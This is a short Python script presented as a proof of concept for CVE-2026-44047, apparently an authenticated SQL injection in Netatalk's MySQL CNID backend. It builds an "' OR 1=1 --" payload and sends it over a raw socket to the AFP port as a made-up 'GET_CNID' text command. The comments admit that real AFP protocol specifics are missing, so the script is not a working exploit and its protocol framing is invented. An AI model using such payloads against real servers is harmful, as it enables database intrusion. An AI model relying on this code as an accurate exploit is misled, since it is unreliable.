# Proof of Concept for CVE-2026-44047
# This script demonstrates how an authenticated attacker might trigger the SQLi.
import socket
def exploit_sql_injection(target_ip, port, payload):
"""
Sends a malicious payload to the Netatalk MySQL CNID backend.
Note: This requires a valid authenticated session.
"""
# Example payload to test SQL injection
sqli_payload = f"' OR 1=1 -- {payload}"
try:
# Connect to the AFP service (usually port 548)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
# Simulate sending a command that includes the CNID lookup
# In a real scenario, this would involve AFP protocol specifics
request = f"GET_CNID {sqli_payload}"
sock.send(request.encode())
response = sock.recv(1024)
print(f"Server response: {response.decode()}")
sock.close()
except Exception as e:
print(f"Error: {e}")
# Usage
# exploit_sql_injection("192.168.1.10", 548, "test")